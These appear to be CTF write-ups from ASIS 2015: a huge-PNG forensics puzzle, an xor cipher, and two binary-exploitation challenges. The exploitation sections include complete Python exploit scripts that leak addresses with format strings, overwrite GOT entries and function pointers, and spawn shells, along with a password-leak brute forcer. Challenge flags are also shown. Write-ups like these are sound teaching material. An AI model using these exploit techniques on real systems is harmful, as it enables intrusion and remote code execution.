We got a PNG file with a size of 15MB.

You cannot open the file as some programs simply freeze, others show out of memory exceptions, or other errors.

Loading into Wireshark for example shows the file’s basic information like it’s width and height.

alt

It is a very huge file, so that explains why we cannot open it earlier.

We have to make some educated guesses. Looking into the file contents you can see that the IDAT part of the file is full of zeros:

alt

So I used one of my helper method which gave me a quick summary of the contents of the file:

\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0d
IHDR\x00\x05C\x9b\x00\x05C\x9b\x01\x03\x00\x00\x00\xa5\xa5\x12\xb1\x00\x00\x00\x06
[email protected]\x00\xe0\xe0\[email protected]\xa3~c\xab\x00\xdb\xfd\xf1
IDATx\xda\xec\xc1\x01\x0d\x00\x00\x00\xc2\xa0\xf7Om\x0f\x07\x04\x0c
<7207787x00>
\xbc\x19\x00\x00\x00\xff\xff...\xa0\xf7Om\x10\x81\x0c
<7207829x00>
\xe0\xd5\x00\x00\x00\xff\xff\x01\x00\x00\xff\xffn\x1f\xdb\x89\x8e.\xf3\xe9\x00\x00\x00\x00
IEND\xaeB`\x82

The IDAT header contains zlib compressed data (as this is the only supported encoding method). So there is some information in the middle of the file.

As the file’s BitDepth is 1, this means the 1 byte contains 8 pixel information, so the uncompressed RAW bitmap data is 344987 * (344987 // 8 + 1) = ~15Gb.

As I did not want to decompress this much data to my hard disk I wrote a C# script to seek into the middle of the image data (so to about 7.4GB) and read the middle of the file and extracted a few MB’s of RAW data.

I created a summary of this too:

<2154200x00>\xf1\xfc...36 bytes...\xcf\x0a
<43085x00>\xf1\xf9\x8...\xe7\x0a
<43085x00>\xf5\xf3\xef...\xcf\x0a
[...10 times again...]
<2154300x00>

What we see is 40 bytes data in the middle of every row. So I simply recovered these bits with the following code snippet:

long strideLen = 344987 / 8 + 1 + 1;
for (int i = 0; i < 16; i++)
    rows.Add(Conversion.BytesToHex(png2.Skip(baseOffset + i * (int)strideLen + 21542).Take(40).ToArray()));

And converted the bytes to bits aka. pixels in this case (with my web-based conversion toolset hosted on https://kt.pe/tools.html) and replaced “1” characters with space “ “ to make it more readable:

....000       00000     0    00000      0             000     0000        00    00   000               000      000    0              0    000     000000      00                     0000      000      000     00           000000        0      00       00     000        00    00   000     0000     0000        00  00    
    000      00  000    0   00  000    0            000 00   00  00       00   00  000 00             00 00    00 00   0              0  000 00    0           00                    00  00    00 00   000 00   00            0             0      00       00    00 00       00   00   00 00   00  00   00  00       00   00   
    0 0     00     0    0  00     0    0            00   00  0    00     000   00  00   00           00   00  00   00  0              0  00   00  00          000                    0    00  00   00  00   00  00           00             0     000      000   00   00     000   00  00   00  0    00  0    00     000    0   
   00 00    00     0    0  00     0    0     000    00   00  0    00    0000  0000 00   00   00000   0        0    00  0 000     0000 0  00   00  00         0000    0000    00000   0     0  0    00  0     0 0000  00000   00        0000 0    0000     0000   0          0000  0000 0    00  0    00  0     0    0000    0   
   0  00    000         0  000         0    00 00   00   0        0     0 00   00  00   0   000 00   0 000    0     0  000 000  00  000  00   0   00000      0 00   00  00  000 00   0    00  0     0       00  00  000 00   00000    00  000    0 00     0 00   0 000      0 00   00  0     0       0   0    00    0 00    0   
   0   0     00000      0   00000      0   00   00   00000      000    0  00   00   00000   0    00  000 00   0     0  00   00  0    00   00000   00  00    0  00   0    0  0    00  00   00  0     0       00  00  0    00  00  00   0    00   0  00    0  00   000 00    0  00   00  0     0     000   00   00   0  00    0   
  00   00       0000    0      0000    0   0     0  00   00       00  00  00   00  00   00       00  00   00  0     0  0     0  0    00  00   00       00  00  00   0            00   000000  0     0     000   00       00       00  0    00  00  00   00  00   00   00  00  00   00  0     0       00   000000  00  00    0   
  0000000          00   0         00  00   0000000  0     0       00  0   00   00  0     0   000000  0     0  0     0  0     0 00     0  0     0        0  0   00   0        000000        0  0     0    00     00   000000        0 00     0  0   00   0   00   0     0  0   00   00  0     0       00        0  0   00    00  
 00     0   0      00   0  0      00  0    0        0     0  0     0 00000000  00  0     0  00   00  0     0  0    00  0     0  0    00  0     0        0 00000000  0       00   00       00  0    00   00      00  00   00        0  0    00 00000000 00000000  0     0 00000000  00  0    00  0     0       00 00000000   00  
 00     00  00     00   0  00     00   0   0     0  0    00  0    00      00   00  0    00  0    00  00   00  00   00  00   00  0    00  0    00  0    00      00   0    0  0    00  00   0   00   00  00       00  0    00  0    00  0    00      00       00   00   00      00   00  00   00  0    00  00   0       00    0   
 0      00   000  00    0   000  00    0    00 00   000 00   00  00       00   00  000 00   00  000   00 00    00 00   000 00   000 000  000 00   00  00       00   00  00  00  000  00  00    00 00   00       00  00  000  00  00   000 000      00       00    00 00       00   00   00 00   00  00   00  00       00    0   
00       0    00000     0    00000     0     000     0000     0000        00   00   0000     000  00   000      000    0 000     0000 0   0000     0000        00    0000    000  00  0000      000    0000000  00   000  00  0000     0000 0      00       00     000        00   00    000     0000     0000        00    0   

The flag was:

ASIS{e834f8a60bd854ca902fa5d4464f0394}

This challenge was solved by and the write up was written by one of my teammates, tukan

We were given an x64 ELF binary and the corresponding libc. It had most protections enabled but still had writeable .got entries.

Reversing the challenge revealed that:

  • the binary sniffs trafic via libpcap.
  • processes only icmp and tcp/80 traffic.
  • the icmp handler contains an information leak via a format string bug.
  • the tcp handler contains a buffer overflow inside the structure allocated for tcp connections, allowing us to modify pointers later used as destination addresses for memcpy calls with attacker-controlled source data.

The relevant parts of the struct:

struct connection {
	char hostname[256];
	char *username;
	char *password;
	...
}

The exploitation plan is as follows:

  • leak pointers to libc and the binary from the stack using the format string bug.
  • overwrite the username pointer in the connection struct with the address of the strstr .got entry.
  • overwrite the strstr got entry (called on attacker-controlled data in the tcp handler) via the address of system from libc.
  • read the flag using the the shell command: “. ./flag” (made possible by stderr coming back from the binary)

alt

The flag was:

ASIS{9327c8a200259781799e2a1a4966a371}

Exploit

(not stable, you probably have to run multiple times)

#! /usr/bin/env python
from pwn import *
from scapy.all import *

# LIVE = False
LIVE = True
def round():
    if LIVE:
        HOST = '185.82.202.66'
        r = remote(HOST, 2222)      # knocking
    else:
        HOST = '192.168.0.22'

    print 'HOST: ', HOST

    context.update(arch='amd64', os='linux')

    def leakit():
        payload = '%x'*10 + 'ZZZ' + '%p' + 'YYY' + '%x'* 6 + 'KKK%pLLL' + '%x'*112  + 'AAA' + '%p' + 'BBB' +'a'*440
        print 'payloadlen: ', len(payload)
        p = sr1(IP(dst=HOST)/ICMP()/payload, timeout=2)
        if not p:
            return None, None, None
        resp = str(p[Raw])
        print 'Resp: ', resp, len(resp)
        cookie = resp.split('ZZZ')[1].split('YYY')[0]
        cookie = int(cookie, 16)
        bin_addr = resp.split('KKK')[1].split('LLL')[0]
        bin_addr = int(bin_addr, 16)
        libc_addr = resp.split('AAA')[1].split('BBB')[0]
        libc_addr = int(libc_addr, 16)

        return bin_addr, libc_addr, cookie


    bin_addr, libc_addr, cookie = leakit()
    if not bin_addr:
        return
    print 'bin: ', hex(bin_addr)
    print 'libc: ', hex(libc_addr)
    print 'Cookie: ', hex(cookie)

    libc_diff = 0x7ffff7833ec5 - 0x00007ffff7812000
    libc_base = libc_addr - libc_diff
    system_offset = 0x0000000000046640
    system = libc_base + system_offset
    bin_diff = 0x182C
    bin_base = bin_addr - bin_diff
    strstr_offset = 0x203128
    strstr = bin_base + strstr_offset


    payload = 'Host: ' + cyclic(256) + p64(strstr) + '\r\nusername=' + p64(system) + '&password=' + 'A'*6 + '\r\n'
    q = send(IP(dst=HOST)/TCP(dport=80)/payload)
    # q = send(IP(dst=HOST)/TCP(dport=80)/'echo kaosdkas > /tmp/lolci #')
    q = send(IP(dst=HOST)/TCP(dport=80)/'. ./flag')
    r.interactive()

round()

This challenge was solved by and the write up was written by one of my teammates, NGG

This was a simple xor-cipher, but each word had a different 1-byte xor-key.

This python code printed out lots of possibilities.

x = '110d00_000a0701_1a00_00120812_171b1a171500111a150011_001b_071006001901_0900_787100_00091b00_00130805120f0908_0900_5143594353445602000105_140b0a000b_00021500151e141514_1b00_0a15000b0b0c0b02_1000131117_000f05_0a030000031b0908_001b_101f1c001a1d14_435340424400'
for i in xrange(32, 128):
    print map(lambda y: ''.join(map(lambda c: chr(ord(c)^i), binascii.unhexlify(y))), x.split('_'))

Going through the results by hand, I could restore an english sentence which meant that the flag is

ASIS{md5(asisctf2015)} = ASIS{7fc5bed10f3d903f1e69190a16562fcb}

The second part of the challenge was exploiting a UAF (use-after-free) vulnerability.

This could be triggered if the admin deleted a “Bragisdumu” (btw what is a Bragisdumu!? :D).

But there were some restrictions, for example: the admin could only delete items if there were no stock of it, so we had to buy them first. But you could not buy any amount of them, only 16, so you had to buy the Knight Rider one.

Although the program tried to nullify the object, but it did not nullify the pointer, but the active field of the pointed object. And then deleted the object. So it did not trigged the vulnerability by itself, you also had to use a long enough username + password.

To make the exploit stable I had to leak some addresses. To do this I overwrite the whole item structure until the ptr value:

00000000 Item            struc ; (sizeof=0x88)   ; XREF: .data:globItemStructs9r
00000000 idx             dd ?                    ; XREF: .data:globItemPtrs16o
00000004 inited          db ?
00000005 name            db 100 dup(?)
00000069 mostPopular     db ?
0000006A align1          db 6 dup(?)
00000070 price           dq ?
00000078 stock           dd ?
0000007C align2          dd ?
00000080 ptr             dq ?
00000088 Item            ends

This way the address of the KnightRider preview function is leaked out, then I logged out and logged in with username which overwrite the preview function call (0x1275) to printf in the PLT (0xda0). As the parameter for this call is the Item structure’s address which is fully controlled by me I could sent in a format string which contained a lot of “%p”’s, thus leaking out the libc base address from the stack (among other things).

Then in the next round I simple overwrite the pointer with the calculated system address and got a shell :)

The flag was:

ASIS{5249b4cc1527739c57fbd04ab14292ca}

Exploit code

#!/usr/bin/env python
from pwn import *
import re

adminPass = "ASIS{304b0f16eb430391c6c86ab0f3294211}"

r = remote('185.106.120.220', 1337)

r.send("guest\nguest\n2\n3\n2\n3\n8\nadmin\n"+adminPass+"\n5\n3\n8\nguest\nguest"+"A"*31+"\x01"+"C"*267+"\n3\n")
result = r.recvuntil("your orders?")
KnightRiderAddrStr = re.search('CCCC+(.*?), price', result, re.DOTALL).group(1) + '\x00\x00'
print 'KnightRider str = %r' % KnightRiderAddrStr
KnightRiderAddr = u64(KnightRiderAddrStr)
printfAddr = KnightRiderAddr - 0x1275 + 0xda0
print 'KnightRider addr = %x' % KnightRiderAddr
print 'printf addr = %x' % printfAddr

fs="%p|"*30;
r.send("0\n8\nguest\nguest"+"A"*31+"\x01|"+fs+"D"*(122-len(fs))+p64(printfAddr)+"\n3\n1\n")
r.recvuntil("your orders?")
leaks = r.recvline().split('|')
print leaks
baseLeak = int(leaks[4][2:], 16)
print "leak = %x" % baseLeak
systemAddr = baseLeak - 0x7ffff7dd4060 + 0x7ffff7a5b640
print "system = %x" % systemAddr

r.send("8\nguest\nguest"+"A"*27+"sh\x00\x00\x01"+"C"*123+p64(systemAddr)+"\n3\n1\n")
r.recvuntil("your orders?")
r.send('cat flag\n')
print 'Flag =' + r.recvline()
r.interactive()

The main vulnerability for getting the admin password is that if you send in a maximum length username (32 bytes) and password (64 bytes) then no string terminating null character was written. Also, usernames and passwords were checked with memcpy and exact length instead of strcpy.

As the program prints out the logged in username this leads to leaking out the next value in the stack: the memcmp result of the admin password.

char username[32]; // [sp+20h] [bp-70h]@3
char password[64]; // [sp+40h] [bp-50h]@3
int memcmpResult; // [sp+80h] [bp-10h]@5

So the attack was basically:

  • try to login with admin and the password you leaked so far (empty at first) plus “~” (0x7e)
    • although this will lead to failed login, the memcpy result won’t be cleared
    • I am using 0x7e because it is the last readable ASCII character and comparison with password will give smaller results
  • try to login with username “guest” + “A”(32-5) and password “guest” + “A”(64-5)
  • read the leaked value, this will be the positive difference between “~” and the next character from the password
  • logout and try again, until you found the password and can login as admin :)

The admin password (=flag):

ASIS{304b0f16eb430391c6c86ab0f3294211}

Exploit code

#!/usr/bin/env python
from pwn import *
import re

adminPass = ""
foundPass = False

r = remote('185.106.120.220', 1337)

def getResult(currPass):
    global foundPass
    r.recvuntil("Username:")
    password = "guest"+"A"*(64-5)
    r.send("admin\n"+currPass+"\nguest"+"A"*(32-5)+"\n"+password+"\n8\n")
    if not "Unknown username" in r.recvline():
        foundPass = True
        return "x"

    r.recvuntil("in as guest")
    result = r.recvline()[:-1].split(password)[1]
    return result

chars = [chr(x) for x in xrange(32,127)]
print "Chars = %s" % chars

for i in xrange(45):
    result = getResult(adminPass + "~")
    if foundPass:
        break
    nextChar = chr(ord("~") - ord(result[0]))
    adminPass += nextChar
    print "found char = %s => %s (calc)" % (nextChar, adminPass)

if foundPass:
    print "Admin password = %s" % adminPass
else:
    print "Admin password not found :("